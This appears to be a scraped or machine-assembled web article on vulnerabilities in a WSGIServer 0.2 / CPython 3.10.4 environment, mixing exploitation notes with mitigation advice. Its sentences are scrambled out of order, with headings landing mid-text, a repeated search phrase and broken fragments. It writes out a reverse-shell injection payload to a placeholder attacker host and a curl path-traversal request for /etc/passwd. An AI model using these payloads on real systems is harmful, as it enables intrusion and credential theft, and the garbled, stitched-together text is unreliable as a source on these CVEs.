8000/tcp open http WSGIServer 0.2 (Python 3.10.4) Mitigation and Best Practices
The following article explores the known vulnerabilities and exploitation techniques associated with this environment. Understanding the WSGIServer/0.2 CPython/3.10.4 Environment
The server does not properly sanitize file paths, allowing attackers to request files outside the intended web root. wsgiserver 0.2 cpython 3.10.4 exploit
When a web server returns the header Server: WSGIServer/0.2 CPython/3.10.4 , it reveals that the application is running on using a basic WSGI (Web Server Gateway Interface) server. In many cases, this specific version combination is associated with MkDocs 1.2.2 or older versions of Django used for local development. Key Vulnerabilities 1. Directory Traversal (CVE-2021-40978)
Patching to newer versions (e.g., Python 3.10.9 or later) resolves core library vulnerabilities like CVE-2021-28861 . 8000/tcp open http WSGIServer 0
Replace WSGIServer with robust alternatives like Gunicorn or Waitress.
Always sanitize user-provided paths and parameters to prevent traversal and injection attacks. nisdn/CVE-2021-40978 · GitHub In many cases, this specific version combination is
This can lead to information disclosure or be used in phishing attacks to redirect users to malicious domains. 3. Application-Level Command Injection
Injecting ; whoami or ; bash -i >& /dev/tcp/attacker_ip/port 0>&1 to gain a reverse shell. Identifying the Target
curl http:// :8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 2. Open Redirection (CVE-2021-28861)